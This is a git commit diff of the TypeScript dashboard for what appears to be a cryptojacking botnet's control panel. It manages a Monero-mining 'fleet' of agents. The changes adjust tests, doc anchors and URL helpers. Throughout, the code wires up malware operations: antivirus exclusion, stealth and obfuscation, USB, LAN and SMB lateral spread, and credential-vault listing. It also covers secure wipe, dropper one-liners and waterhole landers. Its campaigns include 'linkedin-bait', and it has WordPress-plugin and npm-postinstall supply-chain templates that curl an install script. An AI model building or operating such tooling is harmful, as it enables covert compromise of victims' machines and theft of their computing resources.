Release validation: tests green, USB pack, fleet UX and API hardening.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
This commit is contained in:
@@ -2,7 +2,6 @@ import { describe, expect, it } from 'vitest';
|
||||
import { mockAgent } from '../test/fixtures';
|
||||
import {
|
||||
CRUCIBLE_PHASE_C_ACTIONS,
|
||||
CRUCIBLE_PHASE_C_STUBS,
|
||||
buildSSHForwardPayload,
|
||||
isWindowsPlatform,
|
||||
newPortForwardRow,
|
||||
@@ -84,7 +83,9 @@ describe('crucibleOps', () => {
|
||||
it('lists Phase C actions', () => {
|
||||
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('smb_shares');
|
||||
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('spread_status');
|
||||
expect(CRUCIBLE_PHASE_C_STUBS.some((s) => s.id === 'smb_shares')).toBe(true);
|
||||
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('credential_vault_list');
|
||||
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('secure_wipe');
|
||||
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('tunnel_ssh_forward');
|
||||
});
|
||||
|
||||
it('parseRemoteHostPort splits host and port', () => {
|
||||
|
||||
@@ -16,15 +16,6 @@ export const CRUCIBLE_PHASE_C_ACTIONS = [
|
||||
|
||||
export type CruciblePhaseCAction = (typeof CRUCIBLE_PHASE_C_ACTIONS)[number];
|
||||
|
||||
/** @deprecated use CRUCIBLE_PHASE_C_ACTIONS — kept for tests migrating off stubs */
|
||||
export const CRUCIBLE_PHASE_C_STUBS = [
|
||||
{ id: 'smb_shares', label: 'SMB Shares', hint: 'Enumerate accessible \\\\host\\share on Windows LAN' },
|
||||
{ id: 'spread_status', label: 'Spread Status', hint: 'Last lateral spread sweep summary JSON' },
|
||||
{ id: 'credential_vault_list', label: 'Credential Names', hint: 'Vault / keychain / SSH key names only' },
|
||||
{ id: 'secure_wipe', label: 'Secure Wipe', hint: 'Overwrite-then-delete folder' },
|
||||
{ id: 'port_fwd_matrix', label: 'Port-Forward Matrix', hint: 'Multi-node SSH local forward grid' },
|
||||
] as const;
|
||||
|
||||
export function isWindowsPlatform(platform?: string): boolean {
|
||||
if (!platform) return true;
|
||||
return platform.toLowerCase().includes('win');
|
||||
|
||||
@@ -25,15 +25,15 @@ describe('docAnchors', () => {
|
||||
expect(Object.keys(DOC_ANCHORS).length).toBeGreaterThanOrEqual(60);
|
||||
});
|
||||
|
||||
it('returns /docs/# paths', () => {
|
||||
it('returns /docs anchor paths', () => {
|
||||
for (const path of Object.values(DOC_ANCHORS)) {
|
||||
expect(path).toMatch(/^\/docs\/#[\w-]+$/);
|
||||
expect(path).toMatch(/^\/docs\/(#[\w-]+|SPREAD_TECHNIQUES\.html#[\w-]+)$/);
|
||||
}
|
||||
});
|
||||
|
||||
it('docAnchorForField resolves known keys', () => {
|
||||
expect(docAnchorForField('stealth_mode')).toBe('/docs/#forge-stealth');
|
||||
expect(docAnchorForField('calibrate_wallet')).toBe('/docs/#dashboard');
|
||||
expect(docAnchorForField('calibrate_wallet')).toBe('/docs/#calibrate');
|
||||
expect(docAnchorForField('unknown_field')).toBeUndefined();
|
||||
});
|
||||
|
||||
@@ -44,15 +44,17 @@ describe('docAnchors', () => {
|
||||
});
|
||||
|
||||
it('covers top forge spread fields', () => {
|
||||
expect(DOC_ANCHORS.usb_spread).toBe('/docs/#spread-campaigns');
|
||||
expect(DOC_ANCHORS.auto_spread).toBe('/docs/#spread-campaigns');
|
||||
expect(DOC_ANCHORS.remote_aggressive).toBe('/docs/#dashboard');
|
||||
expect(DOC_ANCHORS.usb_spread).toBe('/docs/SPREAD_TECHNIQUES.html#usb');
|
||||
expect(DOC_ANCHORS.auto_spread).toBe('/docs/SPREAD_TECHNIQUES.html#lan');
|
||||
expect(DOC_ANCHORS.remote_aggressive).toBe('/docs/#crucible-ops');
|
||||
});
|
||||
|
||||
it('every HelpTip field has a wiki anchor', () => {
|
||||
for (const field of HELP_TIP_FIELDS) {
|
||||
expect(FIELD_HELP[field], `missing FIELD_HELP for ${field}`).toBeDefined();
|
||||
expect(docAnchorForField(field), `missing DOC_ANCHORS for ${field}`).toMatch(/^\/docs\/#[\w-]+$/);
|
||||
expect(docAnchorForField(field), `missing DOC_ANCHORS for ${field}`).toMatch(
|
||||
/^\/docs\/(#[\w-]+|SPREAD_TECHNIQUES\.html#[\w-]+)$/,
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
/** Maps HelpTip / FieldHint field ids to wiki doc section anchors. */
|
||||
export const DOC_ANCHORS: Record<string, string> = {
|
||||
// Calibrate
|
||||
calibrate_wallet: '/docs/#dashboard',
|
||||
calibrate_wallet: '/docs/#calibrate',
|
||||
calibrate_quick_setup: '/docs/#quick-start',
|
||||
public_url: '/docs/#quick-start',
|
||||
cloudflare_tunnel_token: '/docs/#dashboard',
|
||||
public_url: '/docs/#calibrate',
|
||||
cloudflare_tunnel_token: '/docs/#calibrate',
|
||||
open_firewall_on_start: '/docs/#security-auth',
|
||||
obfuscate_default: '/docs/#forge',
|
||||
sign_enabled: '/docs/#forge',
|
||||
@@ -64,12 +64,12 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
https_beacon_fallback: '/docs/#agent',
|
||||
|
||||
// Forge — spread & ops
|
||||
usb_spread: '/docs/#spread-campaigns',
|
||||
share_spread: '/docs/#spread-campaigns',
|
||||
auto_spread: '/docs/#spread-campaigns',
|
||||
remote_aggressive: '/docs/#dashboard',
|
||||
mesh_p2p: '/docs/#agent',
|
||||
hole_punch: '/docs/#agent',
|
||||
usb_spread: '/docs/SPREAD_TECHNIQUES.html#usb',
|
||||
share_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
auto_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
remote_aggressive: '/docs/#crucible-ops',
|
||||
mesh_p2p: '/docs/#platform-matrix',
|
||||
hole_punch: '/docs/#crucible-ops',
|
||||
|
||||
// AI
|
||||
ai_enabled: '/docs/#alerts-ai',
|
||||
@@ -77,8 +77,38 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
ai_model: '/docs/#alerts-ai',
|
||||
|
||||
// Crucible / agent remote
|
||||
firewall_remote: '/docs/#agent',
|
||||
firewall_remote: '/docs/#crucible-ops',
|
||||
firewall_exclusion: '/docs/#agent',
|
||||
|
||||
// Mission / builds
|
||||
spread_kit: '/docs/#forge',
|
||||
forge_deliverable: '/docs/#forge',
|
||||
forge_simple_mode: '/docs/#mission-deck',
|
||||
md_overview: '/docs/#mission-deck',
|
||||
md_operation_chip: '/docs/#mission-deck',
|
||||
md_spread_profile: '/docs/#mission-deck',
|
||||
md_campaign_identity: '/docs/#mission-deck',
|
||||
md_strike_pipeline: '/docs/#mission-deck',
|
||||
md_equip_strike: '/docs/#mission-deck',
|
||||
|
||||
// Calibrate server
|
||||
websocket_ping_seconds: '/docs/#calibrate',
|
||||
log_pool_traffic: '/docs/#calibrate',
|
||||
webhook_url: '/docs/#calibrate',
|
||||
|
||||
// Dashboard / fleet UI
|
||||
dash_fleet_health: '/docs/#dashboard',
|
||||
dash_fleet_pipeline: '/docs/#quick-start',
|
||||
dash_pool_stratum: '/docs/#mining',
|
||||
dash_ai_activity: '/docs/#alerts-ai',
|
||||
dash_install_funnel: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
|
||||
crucible_node_roster: '/docs/#dashboard',
|
||||
crucible_tab_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
crucible_full_audit: '/docs/#crucible-ops',
|
||||
bm_pin_dropper: '/docs/#build-manager',
|
||||
bm_dropper_oneliner: '/docs/#build-manager',
|
||||
pt_path_tracer: '/docs/#path-tracer',
|
||||
fleet_runtime_policy: '/docs/#calibrate',
|
||||
};
|
||||
|
||||
export function docAnchorForField(field: string): string | undefined {
|
||||
|
||||
@@ -26,6 +26,24 @@ describe('lanEndpointCandidates', () => {
|
||||
expect(urls).toEqual(['http://192.168.1.10:8989']);
|
||||
});
|
||||
|
||||
it('includes tunnel URL when present', () => {
|
||||
const info: ServerInfo = {
|
||||
port: 8989,
|
||||
host: 'localhost',
|
||||
local_ips: ['192.168.1.10'],
|
||||
lan_url: 'http://192.168.1.10:8989',
|
||||
tunnel_url: 'https://nothing.thetempleofdoom.com',
|
||||
suggested_url: 'https://nothing.thetempleofdoom.com',
|
||||
dashboard_url: 'https://nothing.thetempleofdoom.com',
|
||||
websocket_url: 'wss://nothing.thetempleofdoom.com/ws/agent',
|
||||
cloudflared_configured: true,
|
||||
};
|
||||
expect(lanEndpointCandidates(info)).toEqual([
|
||||
'http://192.168.1.10:8989',
|
||||
'https://nothing.thetempleofdoom.com',
|
||||
]);
|
||||
});
|
||||
|
||||
it('honours port override', () => {
|
||||
const info: ServerInfo = {
|
||||
port: 8989,
|
||||
|
||||
@@ -18,11 +18,17 @@ export function lanEndpointCandidates(info: ServerInfo, portOverride?: number):
|
||||
out.push(u);
|
||||
};
|
||||
|
||||
if (info.suggested_url?.trim()) {
|
||||
push(info.suggested_url.trim());
|
||||
if (info.lan_url?.trim()) {
|
||||
push(info.lan_url.trim());
|
||||
}
|
||||
for (const ip of info.local_ips ?? []) {
|
||||
push(formatLanEndpoint(ip, port));
|
||||
}
|
||||
if (info.suggested_url?.trim()) {
|
||||
push(info.suggested_url.trim());
|
||||
}
|
||||
if (info.tunnel_url?.trim()) {
|
||||
push(info.tunnel_url.trim());
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
@@ -70,7 +70,7 @@ export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: Server
|
||||
return {
|
||||
...FORGE_BUILD_DEFAULTS,
|
||||
worker_name: '',
|
||||
server_url: publicUrl || serverInfo.suggested_url || '',
|
||||
server_url: publicUrl || serverInfo.lan_url || serverInfo.suggested_url || '',
|
||||
wallet: config.wallet.address,
|
||||
pool_host: config.pool.host,
|
||||
pool_port: config.pool.port,
|
||||
|
||||
@@ -53,11 +53,11 @@ describe('forgeMission helpers', () => {
|
||||
it('tracks mission step status including skipped export', () => {
|
||||
expect(missionStepStatus('configure', 'forge', false)).toBe('done');
|
||||
expect(missionStepStatus('forge', 'forge', false)).toBe('active');
|
||||
expect(missionStepStatus('export', 'copy', true)).toBe('skipped');
|
||||
expect(missionStepStatus('copy', 'done', false)).toBe('done');
|
||||
expect(missionStepStatus('export', 'done', true)).toBe('skipped');
|
||||
expect(missionStepStatus('export', 'export', false)).toBe('active');
|
||||
});
|
||||
|
||||
it('runForgeMission configures, builds, exports spread kit, and returns links', async () => {
|
||||
it('runForgeMission configures, builds, and exports spread kit', async () => {
|
||||
const buildAgent = vi.fn().mockResolvedValue(okBuild());
|
||||
const exportSpreadKit = vi.fn().mockResolvedValue(undefined);
|
||||
const api: MissionApi = { buildAgent, exportSpreadKit };
|
||||
@@ -74,7 +74,7 @@ describe('forgeMission helpers', () => {
|
||||
cancelToken: 'tok-1',
|
||||
});
|
||||
|
||||
expect(steps).toEqual(['configure', 'forge', 'export', 'copy', 'done']);
|
||||
expect(steps).toEqual(['configure', 'forge', 'export', 'done']);
|
||||
expect(buildAgent).toHaveBeenCalledOnce();
|
||||
expect(buildAgent.mock.calls[0][0].spread_kit).toBe(true);
|
||||
expect(buildAgent.mock.calls[0][0].cancel_token).toBe('tok-1');
|
||||
@@ -84,7 +84,7 @@ describe('forgeMission helpers', () => {
|
||||
campaign: 'linkedin-bait',
|
||||
});
|
||||
expect(result.exportSkipped).toBe(false);
|
||||
expect(result.links.ps1).toContain('build-abc-123');
|
||||
expect(result.build.build_id).toBe('build-abc-123');
|
||||
});
|
||||
|
||||
it('skips export when spread_kit is false after presets', async () => {
|
||||
@@ -103,7 +103,7 @@ describe('forgeMission helpers', () => {
|
||||
});
|
||||
|
||||
expect(exportSpreadKit).not.toHaveBeenCalled();
|
||||
expect(steps).toEqual(['configure', 'forge', 'copy', 'done']);
|
||||
expect(steps).toEqual(['configure', 'forge', 'done']);
|
||||
expect(result.exportSkipped).toBe(true);
|
||||
});
|
||||
|
||||
|
||||
@@ -9,14 +9,13 @@ import {
|
||||
shOneliner,
|
||||
} from './emberwake';
|
||||
|
||||
export const MISSION_STEPS = ['configure', 'forge', 'export', 'copy'] as const;
|
||||
export const MISSION_STEPS = ['configure', 'forge', 'export'] as const;
|
||||
export type MissionStep = (typeof MISSION_STEPS)[number] | 'done' | 'error';
|
||||
|
||||
export const MISSION_STEP_LABELS: Record<(typeof MISSION_STEPS)[number], string> = {
|
||||
configure: 'Configure',
|
||||
forge: 'Forge',
|
||||
export: 'Export',
|
||||
copy: 'Copy',
|
||||
configure: 'Apply loadout presets',
|
||||
forge: 'Build agent installer',
|
||||
export: 'Package spread-kit ZIP',
|
||||
};
|
||||
|
||||
export interface MissionLinks {
|
||||
@@ -28,7 +27,6 @@ export interface MissionLinks {
|
||||
|
||||
export interface MissionResult {
|
||||
build: BuildResponse;
|
||||
links: MissionLinks;
|
||||
exportSkipped: boolean;
|
||||
}
|
||||
|
||||
@@ -147,9 +145,6 @@ export async function runForgeMission(opts: {
|
||||
});
|
||||
}
|
||||
|
||||
onStep?.('copy');
|
||||
const links = buildMissionLinks(serverBase, buildId, campaign);
|
||||
|
||||
onStep?.('done');
|
||||
return { build, links, exportSkipped };
|
||||
return { build, exportSkipped };
|
||||
}
|
||||
|
||||
@@ -137,7 +137,7 @@ export function forgeDefaultsFromServerSmart(
|
||||
const base: BuildRequest = {
|
||||
...recommendedForgePreset(),
|
||||
worker_name: '',
|
||||
server_url: publicUrl || serverInfo.suggested_url || '',
|
||||
server_url: publicUrl || serverInfo.lan_url || serverInfo.suggested_url || '',
|
||||
wallet: config.wallet.address,
|
||||
pool_host: config.pool.host,
|
||||
pool_port: config.pool.port,
|
||||
|
||||
@@ -39,7 +39,10 @@ export function joinRemotePath(cwd: string, name: string): string {
|
||||
const parts = cwd.replace(/[/\\]+$/, '').split(/[/\\]/).filter(Boolean);
|
||||
parts.pop();
|
||||
if (parts.length === 0) {
|
||||
return sep === '/' ? '/' : 'C:\\';
|
||||
if (sep === '/') return '/';
|
||||
// Preserve the original drive letter instead of hardcoding C:
|
||||
const driveMatch = cwd.match(/^([A-Za-z]):/);
|
||||
return driveMatch ? `${driveMatch[1].toUpperCase()}:\\` : 'C:\\';
|
||||
}
|
||||
const joined = parts.join(sep);
|
||||
if (sep === '\\' && parts.length === 1 && /^[A-Za-z]:$/.test(parts[0])) {
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { getSetupStatus } from './setupStatus';
|
||||
import { mockServerConfig } from '../test/fixtures';
|
||||
import { effectivePublicUrl, getSetupStatus } from './setupStatus';
|
||||
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
|
||||
|
||||
describe('getSetupStatus', () => {
|
||||
it('flags empty wallet and blank public URL', () => {
|
||||
@@ -23,4 +23,53 @@ describe('getSetupStatus', () => {
|
||||
);
|
||||
expect(status.needsCalibration).toBe(false);
|
||||
});
|
||||
|
||||
it('passes when public_url is blank but server reports detected LAN', () => {
|
||||
const status = getSetupStatus(
|
||||
mockServerConfig({ server: { public_url: '' } }),
|
||||
{
|
||||
...mockServerInfo,
|
||||
lan_url: 'http://192.168.1.5:8989',
|
||||
suggested_url: 'http://192.168.1.5:8989',
|
||||
}
|
||||
);
|
||||
expect(status.needsCalibration).toBe(false);
|
||||
expect(status.reasons).not.toContain(
|
||||
'Public URL is blank or localhost — set your LAN address in Calibrate'
|
||||
);
|
||||
});
|
||||
|
||||
it('passes when public_url is blank but HTTPS tunnel endpoint is detected', () => {
|
||||
const status = getSetupStatus(
|
||||
mockServerConfig({ server: { public_url: '' } }),
|
||||
{
|
||||
...mockServerInfo,
|
||||
lan_url: 'http://192.168.1.5:8989',
|
||||
tunnel_url: 'https://nothing.thetempleofdoom.com',
|
||||
suggested_url: 'https://nothing.thetempleofdoom.com',
|
||||
cloudflared_configured: true,
|
||||
}
|
||||
);
|
||||
expect(status.needsCalibration).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('effectivePublicUrl', () => {
|
||||
it('prefers saved public_url over detected endpoints', () => {
|
||||
expect(
|
||||
effectivePublicUrl(
|
||||
mockServerConfig({ server: { public_url: 'http://10.0.0.2:8989' } }),
|
||||
mockServerInfo
|
||||
)
|
||||
).toBe('http://10.0.0.2:8989');
|
||||
});
|
||||
|
||||
it('falls back to lan_url when public_url is blank', () => {
|
||||
expect(
|
||||
effectivePublicUrl(mockServerConfig({ server: { public_url: '' } }), {
|
||||
...mockServerInfo,
|
||||
lan_url: 'http://192.168.1.5:8989',
|
||||
})
|
||||
).toBe('http://192.168.1.5:8989');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import type { ServerConfig } from '../types';
|
||||
import type { ServerConfig, ServerInfo } from '../types';
|
||||
import { formatLanEndpoint } from './endpointHelpers';
|
||||
import { looksLikeXMRWallet } from './forgeValidation';
|
||||
|
||||
export interface SetupStatus {
|
||||
@@ -17,8 +18,39 @@ function isBlankOrLocalPublicUrl(url: string | undefined): boolean {
|
||||
}
|
||||
}
|
||||
|
||||
/** Best URL workers can use — saved public_url, detected LAN, or HTTPS tunnel. */
|
||||
export function effectivePublicUrl(
|
||||
config: ServerConfig | null | undefined,
|
||||
serverInfo?: ServerInfo | null
|
||||
): string {
|
||||
if (!config) return '';
|
||||
|
||||
const saved = config.server?.public_url?.trim();
|
||||
if (saved && !isBlankOrLocalPublicUrl(saved)) return saved;
|
||||
|
||||
const lan = serverInfo?.lan_url?.trim();
|
||||
if (lan && !isBlankOrLocalPublicUrl(lan)) return lan;
|
||||
|
||||
const port = serverInfo?.port ?? config.port ?? 8989;
|
||||
for (const ip of serverInfo?.local_ips ?? []) {
|
||||
const candidate = formatLanEndpoint(ip, port);
|
||||
if (!isBlankOrLocalPublicUrl(candidate)) return candidate;
|
||||
}
|
||||
|
||||
const tunnel = serverInfo?.tunnel_url?.trim();
|
||||
if (tunnel && !isBlankOrLocalPublicUrl(tunnel)) return tunnel;
|
||||
|
||||
const suggested = serverInfo?.suggested_url?.trim();
|
||||
if (suggested && !isBlankOrLocalPublicUrl(suggested)) return suggested;
|
||||
|
||||
return '';
|
||||
}
|
||||
|
||||
/** True when wallet or LAN public URL still need Calibrate before forging. */
|
||||
export function getSetupStatus(config: ServerConfig | null | undefined): SetupStatus {
|
||||
export function getSetupStatus(
|
||||
config: ServerConfig | null | undefined,
|
||||
serverInfo?: ServerInfo | null
|
||||
): SetupStatus {
|
||||
if (!config) {
|
||||
return { needsCalibration: true, reasons: ['Server configuration not loaded'] };
|
||||
}
|
||||
@@ -29,12 +61,15 @@ export function getSetupStatus(config: ServerConfig | null | undefined): SetupSt
|
||||
} else if (!looksLikeXMRWallet(wallet)) {
|
||||
reasons.push('Fleet payout wallet format looks invalid (expected Monero mainnet address)');
|
||||
}
|
||||
if (isBlankOrLocalPublicUrl(config.server?.public_url)) {
|
||||
if (isBlankOrLocalPublicUrl(effectivePublicUrl(config, serverInfo))) {
|
||||
reasons.push('Public URL is blank or localhost — set your LAN address in Calibrate');
|
||||
}
|
||||
return { needsCalibration: reasons.length > 0, reasons };
|
||||
}
|
||||
|
||||
export function isSetupComplete(config: ServerConfig | null | undefined): boolean {
|
||||
return !getSetupStatus(config).needsCalibration;
|
||||
export function isSetupComplete(
|
||||
config: ServerConfig | null | undefined,
|
||||
serverInfo?: ServerInfo | null
|
||||
): boolean {
|
||||
return !getSetupStatus(config, serverInfo).needsCalibration;
|
||||
}
|
||||
|
||||
@@ -6,24 +6,18 @@ import {
|
||||
} from './spreadTechniques';
|
||||
|
||||
describe('spreadTechniques', () => {
|
||||
it('builds doc URLs with optional anchors', () => {
|
||||
it('builds doc URLs with optional tab anchors', () => {
|
||||
expect(spreadTechniqueDocUrl()).toBe(SPREAD_TECHNIQUES_DOC);
|
||||
expect(spreadTechniqueDocUrl('technique-matrix')).toBe(
|
||||
'/docs/SPREAD_TECHNIQUES.md#technique-matrix',
|
||||
expect(spreadTechniqueDocUrl('web-waterhole')).toBe(
|
||||
'/docs/SPREAD_TECHNIQUES.html#web-waterhole',
|
||||
);
|
||||
expect(spreadTechniqueDocUrl('wordpress-hosting-checklist')).toBe(
|
||||
'/docs/SPREAD_TECHNIQUES.html#wordpress-hosting-checklist',
|
||||
);
|
||||
});
|
||||
|
||||
it('maps Emberwake bullets to playbook sections', () => {
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS.length).toBeGreaterThanOrEqual(7);
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS[0].anchor).toBeTruthy();
|
||||
});
|
||||
|
||||
it('links wiki-only techniques to /docs/', () => {
|
||||
expect(spreadTechniqueDocUrl('wordpress-plugin-supply-chain', true)).toBe(
|
||||
'/docs/#wordpress-plugin-supply-chain',
|
||||
);
|
||||
expect(spreadTechniqueDocUrl('npm-postinstall-helper', true)).toBe(
|
||||
'/docs/#npm-postinstall-helper',
|
||||
);
|
||||
it('maps Emberwake bullets to playbook tabs', () => {
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS.length).toBeGreaterThanOrEqual(8);
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS.every((t) => t.anchor && t.label && t.hint)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,61 +1,66 @@
|
||||
/** Links into docs/SPREAD_TECHNIQUES.md (served at /docs/SPREAD_TECHNIQUES.md). */
|
||||
/** Links into the tabbed spread techniques playbook at /docs/SPREAD_TECHNIQUES.html */
|
||||
|
||||
export const SPREAD_TECHNIQUES_DOC = '/docs/SPREAD_TECHNIQUES.md';
|
||||
export const SPREAD_TECHNIQUES_DOC = '/docs/SPREAD_TECHNIQUES.html';
|
||||
|
||||
export interface EmberwakeTechniqueLink {
|
||||
/** Short label shown in Emberwake UI */
|
||||
/** Short label — rendered as hyperlink text in Emberwake */
|
||||
label: string;
|
||||
/** Markdown heading anchor in SPREAD_TECHNIQUES.md or wiki section id */
|
||||
/** Tab id or sub-anchor in SPREAD_TECHNIQUES.html */
|
||||
anchor: string;
|
||||
/** One-line operator hint */
|
||||
/** One-line operator hint (no tutorial copy) */
|
||||
hint: string;
|
||||
/** When set, link targets /docs/#anchor instead of SPREAD_TECHNIQUES.md */
|
||||
wiki?: boolean;
|
||||
}
|
||||
|
||||
/** Maps Emberwake “how to spread” bullets to playbook sections. */
|
||||
/** Maps Emberwake “how to spread” bullets to playbook tabs. */
|
||||
export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [
|
||||
{
|
||||
label: 'Web waterhole',
|
||||
anchor: 'owned-site-you-control-origin',
|
||||
hint: 'Dropper landing page, spread-kit ZIP on owned origin',
|
||||
anchor: 'web-waterhole',
|
||||
hint: 'Owned-origin dropper or spread-kit lander',
|
||||
},
|
||||
{
|
||||
label: 'curl | bash VPS',
|
||||
anchor: 'server-specific-endpoints-linuxmacoswindows-servers',
|
||||
hint: 'install.sh / install.ps1 one-liners on headless servers',
|
||||
anchor: 'curl-bash',
|
||||
hint: 'Headless install.sh / install.ps1 one-liners',
|
||||
},
|
||||
{
|
||||
label: 'Campaign & War Room',
|
||||
anchor: 'campaign-war-room',
|
||||
hint: '?c= tags, A/B pins, funnel analytics',
|
||||
},
|
||||
{
|
||||
label: 'Fusion media',
|
||||
anchor: 'owned-site-you-control-origin',
|
||||
hint: 'Fusion bundle as codec/tool download — pair with Desktop Fusion preset',
|
||||
anchor: 'fusion-media',
|
||||
hint: 'Codec/tool ZIP — Desktop Fusion preset',
|
||||
},
|
||||
{
|
||||
label: 'USB propagation',
|
||||
anchor: 'usb',
|
||||
hint: 'Forge-time USB flag — not Emberwake export',
|
||||
},
|
||||
{
|
||||
label: 'LAN kindling',
|
||||
anchor: 'five-recommended-plays--sites-you-own',
|
||||
hint: 'Universal spread kit + autospread — LAN Kindling forge preset',
|
||||
},
|
||||
{
|
||||
label: 'A/B droppers',
|
||||
anchor: 'social-engineering-funnel-email--ads--site--file',
|
||||
hint: 'Campaign ?c= tags + pin build A vs B between waves',
|
||||
anchor: 'lan',
|
||||
hint: 'Universal spread kit + autospread preset',
|
||||
},
|
||||
{
|
||||
label: 'WordPress plugin',
|
||||
anchor: 'wordpress-plugin-supply-chain',
|
||||
hint: 'Operator-owned plugin ZIP — /get?c=wp-{site} on your WP host',
|
||||
wiki: true,
|
||||
anchor: 'wordpress',
|
||||
hint: 'Owned-site plugin ZIP — supply-chain wizard',
|
||||
},
|
||||
{
|
||||
label: 'npm postinstall',
|
||||
anchor: 'npm-postinstall-helper',
|
||||
hint: 'Private package template — postinstall curls your install.sh',
|
||||
wiki: true,
|
||||
anchor: 'npm-helper',
|
||||
hint: 'Private registry template — your packages only',
|
||||
},
|
||||
{
|
||||
label: 'Social funnel',
|
||||
anchor: 'social-funnel',
|
||||
hint: 'Email → lander → pinned build chains',
|
||||
},
|
||||
];
|
||||
|
||||
export function spreadTechniqueDocUrl(anchor?: string, wiki = false): string {
|
||||
if (wiki && anchor) return `/docs/#${anchor}`;
|
||||
export function spreadTechniqueDocUrl(anchor?: string): string {
|
||||
if (!anchor) return SPREAD_TECHNIQUES_DOC;
|
||||
return `${SPREAD_TECHNIQUES_DOC}#${anchor}`;
|
||||
}
|
||||
|
||||
@@ -63,13 +63,13 @@ export function supplyChainZipFilename(family: SupplyChainFamily, siteOrCampaign
|
||||
|
||||
export function supplyChainWikiUrl(family: SupplyChainFamily): string {
|
||||
return family === 'wordpress'
|
||||
? spreadTechniqueDocUrl('wordpress-plugin-supply-chain', true)
|
||||
: spreadTechniqueDocUrl('npm-postinstall-helper', true);
|
||||
? spreadTechniqueDocUrl('wordpress')
|
||||
: spreadTechniqueDocUrl('npm-helper');
|
||||
}
|
||||
|
||||
export function supplyChainHostingChecklistUrl(family: SupplyChainFamily): string {
|
||||
const anchor = family === 'wordpress' ? 'wordpress-hosting-checklist' : 'npm-hosting-checklist';
|
||||
return `${supplyChainWikiUrl(family).split('#')[0]}#${anchor}`;
|
||||
return spreadTechniqueDocUrl(anchor);
|
||||
}
|
||||
|
||||
export interface HostingChecklistItem {
|
||||
|
||||
96
server/web/src/help/uiHelp.test.ts
Normal file
96
server/web/src/help/uiHelp.test.ts
Normal file
@@ -0,0 +1,96 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { UI_HELP } from './uiHelp';
|
||||
|
||||
describe('UI_HELP', () => {
|
||||
const requiredKeys = [
|
||||
'dash_fleet_health',
|
||||
'dash_install_funnel',
|
||||
'dash_operator_audit',
|
||||
'dash_signal_locked',
|
||||
'dash_advanced_mode',
|
||||
'dash_raw_stream',
|
||||
'dash_fleet_hash',
|
||||
'dash_est_daily',
|
||||
'dash_accept_rate',
|
||||
'dash_nodes_live',
|
||||
'dash_fleet_pipeline',
|
||||
'dash_pool_stratum',
|
||||
'dash_ai_activity',
|
||||
'dash_gpu_rvn',
|
||||
'dash_xmr_section',
|
||||
'crucible_node_roster',
|
||||
'crucible_heat_map',
|
||||
'crucible_groups',
|
||||
'crucible_active_target',
|
||||
'crucible_tab_ops',
|
||||
'crucible_tab_recon',
|
||||
'crucible_tab_files',
|
||||
'crucible_tab_spread',
|
||||
'crucible_tab_tunnels',
|
||||
'crucible_mining_ops',
|
||||
'crucible_resume',
|
||||
'crucible_pause',
|
||||
'crucible_full_audit',
|
||||
'crucible_posture_badge',
|
||||
'crucible_master_terminal',
|
||||
'crucible_section_agent',
|
||||
'crucible_section_system',
|
||||
'crucible_section_persistence',
|
||||
'crucible_section_maintenance',
|
||||
'crucible_section_intel',
|
||||
'crucible_section_security',
|
||||
'crucible_section_network',
|
||||
'crucible_section_media',
|
||||
'crucible_section_files_quick',
|
||||
'crucible_section_files_advanced',
|
||||
'crucible_section_destructive',
|
||||
'crucible_section_spread',
|
||||
'crucible_section_seek',
|
||||
'crucible_section_ssh',
|
||||
'crucible_section_tunnels',
|
||||
'crucible_section_protocol_tunnel',
|
||||
'crucible_section_portfwd',
|
||||
'bm_pin_dropper',
|
||||
'bm_public_build',
|
||||
'bm_dropper_oneliner',
|
||||
'bm_reforge',
|
||||
'bm_platform_badge',
|
||||
'fm_remote_browse',
|
||||
'fm_upload',
|
||||
'fm_encrypt_path',
|
||||
'pt_path_tracer',
|
||||
'pt_agent_chain',
|
||||
'fleet_runtime_policy',
|
||||
'fleet_runtime_modules',
|
||||
'spread_funnel_widget',
|
||||
'md_overview',
|
||||
'md_operation_chip',
|
||||
'md_spread_profile',
|
||||
'md_campaign_identity',
|
||||
'md_strike_pipeline',
|
||||
'md_equip_strike',
|
||||
'ew_overview',
|
||||
'ew_campaign_setup',
|
||||
'ew_campaign_slug',
|
||||
'ew_install_links',
|
||||
'ew_spread_kit',
|
||||
'ew_war_room',
|
||||
'ew_supply_chain',
|
||||
'ew_public_urls',
|
||||
'ew_techniques',
|
||||
'ew_shared_notes',
|
||||
] as const;
|
||||
|
||||
it('defines help for every documented UI key', () => {
|
||||
expect(Object.keys(UI_HELP).sort()).toEqual([...requiredKeys].sort());
|
||||
});
|
||||
|
||||
it('each entry is a complete non-empty blurb', () => {
|
||||
for (const key of requiredKeys) {
|
||||
const text = UI_HELP[key];
|
||||
expect(typeof text).toBe('string');
|
||||
expect(text.trim().length).toBeGreaterThan(20);
|
||||
